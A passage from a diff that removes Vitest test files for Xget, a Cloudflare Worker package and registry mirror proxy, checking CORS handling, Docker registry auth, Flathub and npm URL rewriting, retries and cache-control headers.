|
||||
waitUntil() {},
|
||||
passThroughOnException() {}
|
||||
};
|
||||
|
||||
describe('CORS and Proxy Request Options', () => {
|
||||
beforeEach(() => {
|
||||
vi.stubGlobal('caches', {
|
||||
default: {
|
||||
match: vi.fn(async () => null),
|
||||
put: vi.fn(async () => undefined)
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('does not send a synthetic Origin header upstream', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/test/repo/index.html'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
|
||||
expect(upstreamHeaders.has('Origin')).toBe(false);
|
||||
});
|
||||
|
||||
it('does not enable Cloudflare minification for proxied responses', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('<html>ok</html>', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/html' }
|
||||
})
|
||||
);
|
||||
|
||||
await worker.fetch(
|
||||
new Request('https://example.com/gh/test/repo/index.html'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
const fetchOptions = /** @type {RequestInit & { cf?: Record<string, unknown> }} */ (
|
||||
fetchSpy.mock.calls[0][1] || {}
|
||||
);
|
||||
|
||||
expect(fetchOptions.cf).toEqual(
|
||||
expect.objectContaining({
|
||||
http3: true,
|
||||
cacheEverything: true,
|
||||
preconnect: true
|
||||
})
|
||||
);
|
||||
expect(fetchOptions.cf).not.toHaveProperty('minify');
|
||||
});
|
||||
|
||||
it('responds to preflight requests for allowed origins', async () => {
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS',
|
||||
headers: {
|
||||
Origin: 'https://app.example.com',
|
||||
'Access-Control-Request-Method': 'GET',
|
||||
'Access-Control-Request-Headers': 'X-Custom-Header'
|
||||
}
|
||||
}),
|
||||
{
|
||||
ALLOWED_ORIGINS: 'https://app.example.com'
|
||||
},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(204);
|
||||
expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');
|
||||
expect(response.headers.get('Access-Control-Allow-Methods')).toContain('GET');
|
||||
expect(response.headers.get('Access-Control-Allow-Headers')).toBe('X-Custom-Header');
|
||||
});
|
||||
|
||||
it('rejects preflight requests for disallowed origins', async () => {
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS',
|
||||
headers: {
|
||||
Origin: 'https://evil.example.com',
|
||||
'Access-Control-Request-Method': 'GET'
|
||||
}
|
||||
}),
|
||||
{
|
||||
ALLOWED_ORIGINS: 'https://app.example.com'
|
||||
},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(403);
|
||||
expect(response.headers.get('Access-Control-Allow-Origin')).toBeNull();
|
||||
});
|
||||
|
||||
it('adds CORS headers to normal responses for allowed origins', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/test/repo/file.txt', {
|
||||
headers: {
|
||||
Origin: 'https://app.example.com'
|
||||
}
|
||||
}),
|
||||
{
|
||||
ALLOWED_ORIGINS: 'https://app.example.com'
|
||||
},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');
|
||||
expect(response.headers.get('Vary')).toContain('Origin');
|
||||
});
|
||||
});
|
||||
@@ -1,144 +0,0 @@
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { CONFIG } from '../../src/config/index.js';
|
||||
import {
|
||||
fetchToken,
|
||||
getScopeFromUrl,
|
||||
handleDockerAuth,
|
||||
normalizeRegistryApiPath,
|
||||
parseAuthenticate,
|
||||
readRegistryTokenResponse
|
||||
} from '../../src/protocols/docker.js';
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('Docker helper coverage', () => {
|
||||
it('throws on malformed authenticate headers', () => {
|
||||
expect(() => parseAuthenticate('Bearer service="registry.docker.io"')).toThrow(
|
||||
/invalid WWW-Authenticate/
|
||||
);
|
||||
});
|
||||
|
||||
it('includes authorization when fetching registry tokens', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('{}', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
);
|
||||
|
||||
await fetchToken(
|
||||
{ realm: 'https://auth.example.com/token', service: 'registry.example.com' },
|
||||
'repository:demo/app:pull',
|
||||
'Bearer registry-secret'
|
||||
);
|
||||
|
||||
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
|
||||
expect(String(fetchSpy.mock.calls[0][0])).toContain('scope=repository%3Ademo%2Fapp%3Apull');
|
||||
expect(upstreamHeaders.get('Authorization')).toBe('Bearer registry-secret');
|
||||
});
|
||||
|
||||
it('reads both token formats and rejects malformed token payloads', async () => {
|
||||
await expect(
|
||||
readRegistryTokenResponse(
|
||||
new Response(JSON.stringify({ token: 'abc123' }), {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
)
|
||||
).resolves.toBe('abc123');
|
||||
|
||||
await expect(
|
||||
readRegistryTokenResponse(
|
||||
new Response(JSON.stringify({ access_token: 'def456' }), {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
)
|
||||
).resolves.toBe('def456');
|
||||
|
||||
await expect(
|
||||
readRegistryTokenResponse(
|
||||
new Response(JSON.stringify('invalid-shape'), {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
)
|
||||
).resolves.toBeNull();
|
||||
|
||||
await expect(
|
||||
readRegistryTokenResponse(
|
||||
new Response('{not-json', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
)
|
||||
).resolves.toBeNull();
|
||||
});
|
||||
|
||||
it('derives catalog and empty scopes from registry paths', () => {
|
||||
const catalogUrl = new URL('https://example.com/cr/ghcr/v2/_catalog');
|
||||
const unsupportedUrl = new URL('https://example.com/cr/ghcr/v2');
|
||||
|
||||
expect(getScopeFromUrl(catalogUrl, catalogUrl.pathname, 'cr-ghcr')).toBe('registry:catalog:*');
|
||||
expect(getScopeFromUrl(unsupportedUrl, unsupportedUrl.pathname, 'cr-ghcr')).toBe('');
|
||||
});
|
||||
|
||||
it('leaves normalized registry paths untouched when no library prefix is needed', () => {
|
||||
expect(normalizeRegistryApiPath('cr-ghcr', '/v2/org/app/manifests/latest')).toBe(
|
||||
'/v2/org/app/manifests/latest'
|
||||
);
|
||||
expect(normalizeRegistryApiPath('cr-docker', '/v2/library/nginx/manifests/latest')).toBe(
|
||||
'/v2/library/nginx/manifests/latest'
|
||||
);
|
||||
expect(normalizeRegistryApiPath('cr-docker', '/v2/_catalog')).toBe('/v2/_catalog');
|
||||
});
|
||||
|
||||
it('returns a generic error for unsupported Docker auth scopes', async () => {
|
||||
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
|
||||
const request = new Request(
|
||||
'https://example.com/v2/auth?scope=repository:cr/unknown/private:pull'
|
||||
);
|
||||
|
||||
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
expect(await response.text()).toBe('Invalid Docker authentication request');
|
||||
expect(errorSpy).toHaveBeenCalledWith(
|
||||
'Failed to resolve Docker auth target:',
|
||||
expect.any(Error)
|
||||
);
|
||||
});
|
||||
|
||||
it('forwards upstream auth responses that are not challenges', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('already-authorized', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
|
||||
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(await response.text()).toBe('already-authorized');
|
||||
});
|
||||
|
||||
it('forwards 401 responses without authenticate headers from the upstream root probe', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('missing-authenticate', {
|
||||
status: 401,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
|
||||
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
|
||||
|
||||
expect(response.status).toBe(401);
|
||||
expect(await response.text()).toBe('missing-authenticate');
|
||||
});
|
||||
});
|
||||
@@ -1,150 +0,0 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import worker from '../../src/index.js';
|
||||
|
||||
/** @type {ExecutionContext} */
|
||||
const executionContext = {
|
||||
waitUntil() {},
|
||||
passThroughOnException() {}
|
||||
};
|
||||
|
||||
/**
|
||||
* Reads a response body as UTF-8 text without relying on the response MIME type.
|
||||
* @param {Response} response
|
||||
* @returns {Promise<string>} Decoded UTF-8 response text.
|
||||
*/
|
||||
async function readUtf8Text(response) {
|
||||
return new TextDecoder().decode(await response.arrayBuffer());
|
||||
}
|
||||
|
||||
describe('Flathub Response Rewriting', () => {
|
||||
beforeEach(() => {
|
||||
vi.stubGlobal('caches', {
|
||||
default: {
|
||||
match: vi.fn(async () => null),
|
||||
put: vi.fn(async () => undefined)
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('rewrites .flatpakrepo URLs to stay on the Xget mirror', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response(
|
||||
[
|
||||
'[Flatpak Repo]',
|
||||
'Url=https://dl.flathub.org/repo/',
|
||||
'Icon=https://dl.flathub.org/repo/logo.svg',
|
||||
'Homepage=https://flathub.org/'
|
||||
].join('\n'),
|
||||
{
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/octet-stream' }
|
||||
}
|
||||
)
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/flathub/repo/flathub.flatpakrepo'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
|
||||
const body = await readUtf8Text(response);
|
||||
expect(body).toContain('Url=https://example.com/flathub/repo/');
|
||||
expect(body).toContain('Icon=https://example.com/flathub/repo/logo.svg');
|
||||
expect(body).toContain('Homepage=https://flathub.org/');
|
||||
expect(response.headers.get('Content-Length')).toBe(
|
||||
String(new TextEncoder().encode(body).length)
|
||||
);
|
||||
});
|
||||
|
||||
it('rewrites .flatpakref URLs to stay on the Xget mirror', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response(
|
||||
[
|
||||
'[Flatpak Ref]',
|
||||
'Name=org.gnome.gedit',
|
||||
'Url=https://dl.flathub.org/repo/',
|
||||
'RuntimeRepo=https://dl.flathub.org/repo/flathub.flatpakrepo'
|
||||
].join('\n'),
|
||||
{
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/octet-stream' }
|
||||
}
|
||||
)
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/flathub/repo/appstream/org.gnome.gedit.flatpakref'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
|
||||
const body = await readUtf8Text(response);
|
||||
expect(body).toContain('Url=https://example.com/flathub/repo/');
|
||||
expect(body).toContain('RuntimeRepo=https://example.com/flathub/repo/flathub.flatpakrepo');
|
||||
});
|
||||
|
||||
it('uses host-scoped cache keys for rewritten Flathub descriptors', async () => {
|
||||
const cacheEntries = new Map();
|
||||
|
||||
vi.stubGlobal('caches', {
|
||||
default: {
|
||||
match: vi.fn(async request => cacheEntries.get(request.url) || null),
|
||||
put: vi.fn(async (request, response) => {
|
||||
cacheEntries.set(request.url, response.clone());
|
||||
})
|
||||
}
|
||||
});
|
||||
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(
|
||||
async () =>
|
||||
new Response(`[Flatpak Repo]\nUrl=https://dl.flathub.org/repo/`, {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/octet-stream' }
|
||||
})
|
||||
);
|
||||
|
||||
const responseA = await worker.fetch(
|
||||
new Request('https://mirror-a.example/flathub/repo/flathub.flatpakrepo'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
const responseB = await worker.fetch(
|
||||
new Request('https://mirror-b.example/flathub/repo/flathub.flatpakrepo'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(2);
|
||||
expect(await readUtf8Text(responseA)).toContain('Url=https://mirror-a.example/flathub/repo/');
|
||||
expect(await readUtf8Text(responseB)).toContain('Url=https://mirror-b.example/flathub/repo/');
|
||||
});
|
||||
|
||||
it('does not rewrite binary repository metadata like summary files', async () => {
|
||||
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('summary-binary-payload', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/octet-stream' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/flathub/repo/summary'),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(await readUtf8Text(response)).toBe('summary-binary-payload');
|
||||
});
|
||||
});
|
||||
@@ -1,15 +0,0 @@
|
||||
import { createRequire } from 'node:module';
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Package manifest', () => {
|
||||
it('does not depend on itself', () => {
|
||||
const require = createRequire(import.meta.url);
|
||||
const packageJson = require('../../package.json');
|
||||
const typedPackageJson =
|
||||
/** @type {{ dependencies?: Record<string, string>, name: string }} */ (packageJson);
|
||||
|
||||
expect(typedPackageJson.name).toBe('xget');
|
||||
expect(typedPackageJson.dependencies?.xget).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -1,380 +0,0 @@
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { createRequestContext } from '../../src/app/request-context.js';
|
||||
import { CONFIG } from '../../src/config/index.js';
|
||||
import { finalizeResponse } from '../../src/response/finalize-response.js';
|
||||
import { resolveTarget } from '../../src/routing/resolve-target.js';
|
||||
import { tryReadCachedResponse } from '../../src/upstream/cache.js';
|
||||
import { fetchUpstreamResponse } from '../../src/upstream/fetch-upstream.js';
|
||||
import { PerformanceMonitor } from '../../src/utils/performance.js';
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('Pipeline modules', () => {
|
||||
it('reuses cached full content for range requests through the cache helper', async () => {
|
||||
const cache = {
|
||||
match: vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(null)
|
||||
.mockResolvedValueOnce(
|
||||
new Response('full-body', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
)
|
||||
};
|
||||
const monitor = new PerformanceMonitor();
|
||||
const markSpy = vi.spyOn(monitor, 'mark');
|
||||
const request = new Request('https://example.com/gh/user/repo/file.txt', {
|
||||
headers: { Range: 'bytes=0-3' }
|
||||
});
|
||||
|
||||
const response = await tryReadCachedResponse({
|
||||
cache: /** @type {Cache} */ (/** @type {unknown} */ (cache)),
|
||||
cacheTargetUrl: 'https://github.com/user/repo/file.txt',
|
||||
canUseCache: true,
|
||||
hasSensitiveHeaders: false,
|
||||
monitor,
|
||||
request,
|
||||
requestContext: createRequestContext(request, {})
|
||||
});
|
||||
|
||||
expect(await response?.text()).toBe('full-body');
|
||||
expect(markSpy).toHaveBeenCalledWith('cache_hit_full_content');
|
||||
});
|
||||
|
||||
it('retries upstream fetches through the transport helper before succeeding', async () => {
|
||||
const request = new Request('https://example.com/gh/user/repo/file.txt');
|
||||
const requestContext = createRequestContext(request, {});
|
||||
const fetchSpy = vi
|
||||
.spyOn(globalThis, 'fetch')
|
||||
.mockRejectedValueOnce(new Error('temporary-network-error'))
|
||||
.mockResolvedValueOnce(
|
||||
new Response('ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const result = await fetchUpstreamResponse({
|
||||
authorization: null,
|
||||
canUseCache: true,
|
||||
config: { ...CONFIG, MAX_RETRIES: 2, RETRY_DELAY_MS: 0 },
|
||||
effectivePath: '/gh/user/repo/file.txt',
|
||||
monitor: new PerformanceMonitor(),
|
||||
platform: 'gh',
|
||||
request,
|
||||
requestContext,
|
||||
shouldPassthroughRequest: false,
|
||||
targetUrl: 'https://github.com/user/repo/file.txt'
|
||||
});
|
||||
|
||||
expect(result.responseGeneratedLocally).toBe(false);
|
||||
expect(result.response.status).toBe(200);
|
||||
expect(fetchSpy).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it('rewrites npm metadata and refreshes content length during response finalization', async () => {
|
||||
const request = new Request('https://example.com/npm/pkg');
|
||||
const requestContext = createRequestContext(request, {});
|
||||
const upstreamBody = JSON.stringify({
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'
|
||||
}
|
||||
});
|
||||
|
||||
const response = await finalizeResponse({
|
||||
cache: null,
|
||||
cacheTargetUrl: 'https://registry.npmjs.org/pkg',
|
||||
canUseCache: true,
|
||||
config: CONFIG,
|
||||
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
|
||||
effectivePath: '/npm/pkg',
|
||||
hasSensitiveHeaders: false,
|
||||
monitor: new PerformanceMonitor(),
|
||||
platform: 'npm',
|
||||
request,
|
||||
requestContext,
|
||||
response: new Response(upstreamBody, {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': String(upstreamBody.length)
|
||||
}
|
||||
}),
|
||||
responseGeneratedLocally: false,
|
||||
url: new URL(request.url)
|
||||
});
|
||||
const body = await response.text();
|
||||
|
||||
expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');
|
||||
expect(response.headers.get('Content-Length')).toBe(
|
||||
String(new TextEncoder().encode(body).byteLength)
|
||||
);
|
||||
expect(response.headers.get('Cache-Control')).toBe(
|
||||
'public, max-age=0, s-maxage=60, must-revalidate'
|
||||
);
|
||||
});
|
||||
|
||||
it('uses long-lived caching for immutable package artifacts', async () => {
|
||||
const artifactCases = [
|
||||
{
|
||||
cacheTargetUrl: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz',
|
||||
effectivePath: '/npm/pkg/-/pkg-1.0.0.tgz',
|
||||
platform: 'npm',
|
||||
requestUrl: 'https://example.com/npm/pkg/-/pkg-1.0.0.tgz'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl:
|
||||
'https://files.pythonhosted.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl',
|
||||
effectivePath: '/pypi/files/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl',
|
||||
platform: 'pypi-files',
|
||||
requestUrl:
|
||||
'https://example.com/pypi/files/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl:
|
||||
'https://files.pythonhosted.org/packages/source/r/requests/requests-2.31.0.tar.gz',
|
||||
effectivePath: '/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz',
|
||||
platform: 'pypi-files',
|
||||
requestUrl:
|
||||
'https://example.com/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl: 'https://repo1.maven.org/maven2/org/example/demo/1.0.0/demo-1.0.0.jar',
|
||||
effectivePath: '/maven/maven2/org/example/demo/1.0.0/demo-1.0.0.jar',
|
||||
platform: 'maven',
|
||||
requestUrl: 'https://example.com/maven/maven2/org/example/demo/1.0.0/demo-1.0.0.jar'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl: 'https://github.com/user/repo/releases/download/v1.2.3/file.tar.gz',
|
||||
effectivePath: '/gh/user/repo/releases/download/v1.2.3/file.tar.gz',
|
||||
platform: 'gh',
|
||||
requestUrl: 'https://example.com/gh/user/repo/releases/download/v1.2.3/file.tar.gz'
|
||||
}
|
||||
];
|
||||
|
||||
for (const artifactCase of artifactCases) {
|
||||
const request = new Request(artifactCase.requestUrl);
|
||||
const requestContext = createRequestContext(request, {});
|
||||
|
||||
const response = await finalizeResponse({
|
||||
cache: null,
|
||||
cacheTargetUrl: artifactCase.cacheTargetUrl,
|
||||
canUseCache: true,
|
||||
config: CONFIG,
|
||||
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
|
||||
effectivePath: artifactCase.effectivePath,
|
||||
hasSensitiveHeaders: false,
|
||||
monitor: new PerformanceMonitor(),
|
||||
platform: artifactCase.platform,
|
||||
request,
|
||||
requestContext,
|
||||
response: new Response('artifact-data', {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/octet-stream',
|
||||
'Content-Length': '13'
|
||||
}
|
||||
}),
|
||||
responseGeneratedLocally: false,
|
||||
url: new URL(request.url)
|
||||
});
|
||||
|
||||
expect(response.headers.get('Cache-Control')).toBe(
|
||||
'public, max-age=3600, s-maxage=86400, immutable'
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('does not treat mutable branch archives as immutable artifacts', async () => {
|
||||
const archiveCases = [
|
||||
{
|
||||
cacheTargetUrl: 'https://github.com/user/repo/archive/refs/heads/main.zip',
|
||||
effectivePath: '/gh/user/repo/archive/refs/heads/main.zip',
|
||||
platform: 'gh',
|
||||
requestUrl: 'https://example.com/gh/user/repo/archive/refs/heads/main.zip'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl:
|
||||
'https://github.com/Homebrew/homebrew-cask/archive/refs/heads/master.tar.gz',
|
||||
effectivePath: '/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz',
|
||||
platform: 'homebrew',
|
||||
requestUrl:
|
||||
'https://example.com/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl: 'https://github.com/user/repo/releases/download/latest/file.zip',
|
||||
effectivePath: '/gh/user/repo/releases/download/latest/file.zip',
|
||||
platform: 'gh',
|
||||
requestUrl: 'https://example.com/gh/user/repo/releases/download/latest/file.zip'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl: 'https://files.pythonhosted.org/packages/source/p/pkg/latest.tar.gz',
|
||||
effectivePath: '/pypi/files/packages/source/p/pkg/latest.tar.gz',
|
||||
platform: 'pypi-files',
|
||||
requestUrl: 'https://example.com/pypi/files/packages/source/p/pkg/latest.tar.gz'
|
||||
},
|
||||
{
|
||||
cacheTargetUrl:
|
||||
'https://files.pythonhosted.org/packages/py3/p/pkg/pkg-latest-py3-none-any.whl',
|
||||
effectivePath: '/pypi/files/packages/py3/p/pkg/pkg-latest-py3-none-any.whl',
|
||||
platform: 'pypi-files',
|
||||
requestUrl: 'https://example.com/pypi/files/packages/py3/p/pkg/pkg-latest-py3-none-any.whl'
|
||||
}
|
||||
];
|
||||
|
||||
for (const archiveCase of archiveCases) {
|
||||
const request = new Request(archiveCase.requestUrl);
|
||||
const requestContext = createRequestContext(request, {});
|
||||
|
||||
const response = await finalizeResponse({
|
||||
cache: null,
|
||||
cacheTargetUrl: archiveCase.cacheTargetUrl,
|
||||
canUseCache: true,
|
||||
config: CONFIG,
|
||||
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
|
||||
effectivePath: archiveCase.effectivePath,
|
||||
hasSensitiveHeaders: false,
|
||||
monitor: new PerformanceMonitor(),
|
||||
platform: archiveCase.platform,
|
||||
request,
|
||||
requestContext,
|
||||
response: new Response('archive-data', {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/octet-stream',
|
||||
'Content-Length': '12'
|
||||
}
|
||||
}),
|
||||
responseGeneratedLocally: false,
|
||||
url: new URL(request.url)
|
||||
});
|
||||
|
||||
expect(response.headers.get('Cache-Control')).toBe(
|
||||
'public, max-age=0, s-maxage=300, must-revalidate'
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('varies npm metadata cache keys by request origin after rewriting', () => {
|
||||
const targetA = resolveTarget(
|
||||
new URL('https://mirror-a.example/npm/pkg'),
|
||||
'/npm/pkg',
|
||||
CONFIG.PLATFORMS
|
||||
);
|
||||
const targetB = resolveTarget(
|
||||
new URL('https://mirror-b.example/npm/pkg'),
|
||||
'/npm/pkg',
|
||||
CONFIG.PLATFORMS
|
||||
);
|
||||
|
||||
expect('cacheTargetUrl' in targetA && targetA.cacheTargetUrl).toContain(
|
||||
'__xget_origin=https%3A%2F%2Fmirror-a.example'
|
||||
);
|
||||
expect('cacheTargetUrl' in targetB && targetB.cacheTargetUrl).toContain(
|
||||
'__xget_origin=https%3A%2F%2Fmirror-b.example'
|
||||
);
|
||||
expect('cacheTargetUrl' in targetA && 'cacheTargetUrl' in targetB).toBe(true);
|
||||
if ('cacheTargetUrl' in targetA && 'cacheTargetUrl' in targetB) {
|
||||
expect(targetA.cacheTargetUrl).not.toBe(targetB.cacheTargetUrl);
|
||||
}
|
||||
});
|
||||
|
||||
it('handles Docker 401 responses without auth challenges during finalization', async () => {
|
||||
const request = new Request('https://example.com/cr/ghcr/v2/user/repo/manifests/latest');
|
||||
const requestContext = {
|
||||
...createRequestContext(request, {}),
|
||||
isDocker: true
|
||||
};
|
||||
|
||||
const customUnauthorized = await finalizeResponse({
|
||||
cache: null,
|
||||
cacheTargetUrl: 'https://ghcr.io/v2/user/repo/manifests/latest',
|
||||
canUseCache: false,
|
||||
config: CONFIG,
|
||||
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
|
||||
effectivePath: '/cr/ghcr/v2/user/repo/manifests/latest',
|
||||
hasSensitiveHeaders: false,
|
||||
monitor: new PerformanceMonitor(),
|
||||
platform: 'cr-ghcr',
|
||||
request,
|
||||
requestContext,
|
||||
response: new Response('{"errors":[{"code":"UNAUTHORIZED"}]}', {
|
||||
status: 401,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
}),
|
||||
responseGeneratedLocally: false,
|
||||
url: new URL(request.url)
|
||||
});
|
||||
|
||||
const plainUnauthorized = await finalizeResponse({
|
||||
cache: null,
|
||||
cacheTargetUrl: 'https://ghcr.io/v2/user/repo/manifests/latest',
|
||||
canUseCache: false,
|
||||
config: CONFIG,
|
||||
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
|
||||
effectivePath: '/cr/ghcr/v2/user/repo/manifests/latest',
|
||||
hasSensitiveHeaders: false,
|
||||
monitor: new PerformanceMonitor(),
|
||||
platform: 'cr-ghcr',
|
||||
request,
|
||||
requestContext,
|
||||
response: new Response('denied', {
|
||||
status: 401,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
}),
|
||||
responseGeneratedLocally: false,
|
||||
url: new URL(request.url)
|
||||
});
|
||||
|
||||
expect(customUnauthorized.status).toBe(401);
|
||||
expect(await customUnauthorized.text()).toContain('UNAUTHORIZED');
|
||||
expect(plainUnauthorized.status).toBe(401);
|
||||
expect(await plainUnauthorized.text()).toContain('Original error: denied');
|
||||
});
|
||||
|
||||
it('preserves upstream protocol error responses during finalization', async () => {
|
||||
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: '{}'
|
||||
});
|
||||
const requestContext = createRequestContext(request, {});
|
||||
const upstreamBody = JSON.stringify({
|
||||
error: {
|
||||
message: 'bad key',
|
||||
type: 'invalid_request_error'
|
||||
}
|
||||
});
|
||||
|
||||
const response = await finalizeResponse({
|
||||
cache: null,
|
||||
cacheTargetUrl: 'https://api.openai.com/v1/chat/completions',
|
||||
canUseCache: false,
|
||||
config: CONFIG,
|
||||
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
|
||||
effectivePath: '/ip/openai/v1/chat/completions',
|
||||
hasSensitiveHeaders: true,
|
||||
monitor: new PerformanceMonitor(),
|
||||
platform: 'ip-openai',
|
||||
request,
|
||||
requestContext,
|
||||
response: new Response(upstreamBody, {
|
||||
status: 401,
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'X-Upstream-Trace': 'trace-123'
|
||||
}
|
||||
}),
|
||||
responseGeneratedLocally: false,
|
||||
url: new URL(request.url)
|
||||
});
|
||||
|
||||
expect(response.status).toBe(401);
|
||||
